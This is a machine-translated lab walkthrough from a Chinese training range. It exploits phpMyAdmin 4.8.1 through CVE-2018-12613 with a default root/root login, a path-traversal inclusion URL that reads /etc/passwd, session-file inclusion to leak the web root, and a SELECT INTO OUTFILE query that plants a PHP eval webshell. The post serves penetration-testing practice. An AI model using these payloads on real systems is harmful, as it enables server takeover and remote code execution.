当前位置:网站首页>Moher college phpMyAdmin background file contains analysis traceability
Moher college phpMyAdmin background file contains analysis traceability
2022-07-04 07:44:00 【Lyswbb】
First, get the title and click to visit

Log in with a weak password after access , If login fails, open the privacy mode or change the browser
Account password :root root

Click on sql modular Yes sql Statement to make a query

First query sql Permission to write a sentence
We can see that its value is empty
secure-file-priv Parameters are used to limit LOAD DATA, SELECT ... OUTFILE, and LOAD_FILE() To which specified directory .
show global VARIABLES like '%secure%' 
Keep looking at mysql The absolute path of the installation , It can be found that it is installed in /var/lib/mysql/
show VARIABLES like 'datadir' 
Next, make sure mysql jurisdiction , You can see that here is the highest authority root
SELECT USER();
After you have the permission and absolute path, you can write a sentence directly , Try it first phpinfo
select '<?php phpinfo(); ?>' into outfile '/var/lib/mysql/test.php';When it is written in, the access fails , After thinking for a long time, I found that this is mysql The path of , Not the absolute path of the website

Continue to find ways to get the absolute path of the website According to the title, we can write a phpinfo, Through the absolute path of leakage shell, Ideas have , Direct drying
First, determine the database version , The version is 4.8.1. The number contained in the file is CVE-2018-12613

Direct use of payload Just include it
http://124.70.71.251:40917/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
First write a phpinfo Enter database
select '<?php phpinfo();?>'; 
Then call through File Inclusion phpinfo
First of all get session Value , In the construction parameters to access phpinfo, Get absolute path

http://124.70.71.251:45548/index.phpindex.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_[value]
With an absolute path, you can write webshell 了 , Access directly after writing 1.php
select "<?php @eval($_POST['cmd']) ?>" into outfile "/var/www/html/1.php";
Use the management tool to log in and go directly to the root key.txt perhaps find / -name key.txt


边栏推荐
- [test de performance] lire jmeter
- 墨者学院-phpMyAdmin后台文件包含分析溯源
- Rhcsa day 3
- Practice (9-12 Lectures)
- zabbix监控系统邮件报警配置
- Tri des fonctions de traitement de texte dans MySQL, recherche rapide préférée
- L1-022 odd even split (10 points)
- Valentine's Day is coming! Without 50W bride price, my girlfriend was forcibly dragged away...
- The IP bound to the socket is inaddr_ The meaning of any htonl (inaddr_any) (0.0.0.0 all addresses, uncertain addresses, arbitrary addresses)
- window上用.bat文件启动项目
猜你喜欢
![[Flink] temporal semantics and watermark](/img/4d/cf9c7e80ea416155cee62cdec8a5bb.jpg)
[Flink] temporal semantics and watermark

Practice (9-12 Lectures)

BUUCTF(4)

Handwritten easy version flexible JS and source code analysis

The idea of implementing charts chart view in all swiftui versions (1.0-4.0) was born

The IP bound to the socket is inaddr_ The meaning of any htonl (inaddr_any) (0.0.0.0 all addresses, uncertain addresses, arbitrary addresses)

Write a thread pool by hand, and take you to learn the implementation principle of ThreadPoolExecutor thread pool

Used on windows Bat file startup project

Unity opens the explorer from the inspector interface, selects and records the file path

Introduction to neural network (Part 2)
随机推荐
zabbix監控系統自定義監控內容
如何用MOS管来实现电源防反接电路
Rapidjson reading and writing JSON files
Amd RX 7000 Series graphics card product line exposure: two generations of core and process mix and match
Zephyr study notes 2, scheduling
NPM run build error
人生规划(Flag)
Take you to master the formatter of visual studio code
Scanf read in data type symbol table
MySQL中的文本处理函数整理,收藏速查
With excellent strength, wangchain technology, together with IBM and Huawei, has entered the annual contribution list of "super ledger"!
A real penetration test
神经网络入门(下)
How to improve your system architecture?
[Android reverse] function interception (use cache_flush system function to refresh CPU cache | refresh CPU cache disadvantages | recommended time for function interception)
Practice (9-12 Lectures)
OKR vs. KPI 一次搞清楚这两大概念!
Sqli labs download, installation and reset of SQL injection test tool one of the solutions to the database error (# 0{main}throw in d:\software\phpstudy_pro\www\sqli labs-...)
zabbix监控系统自定义监控内容
谷歌官方回应:我们没有放弃TensorFlow,未来与JAX并肩发展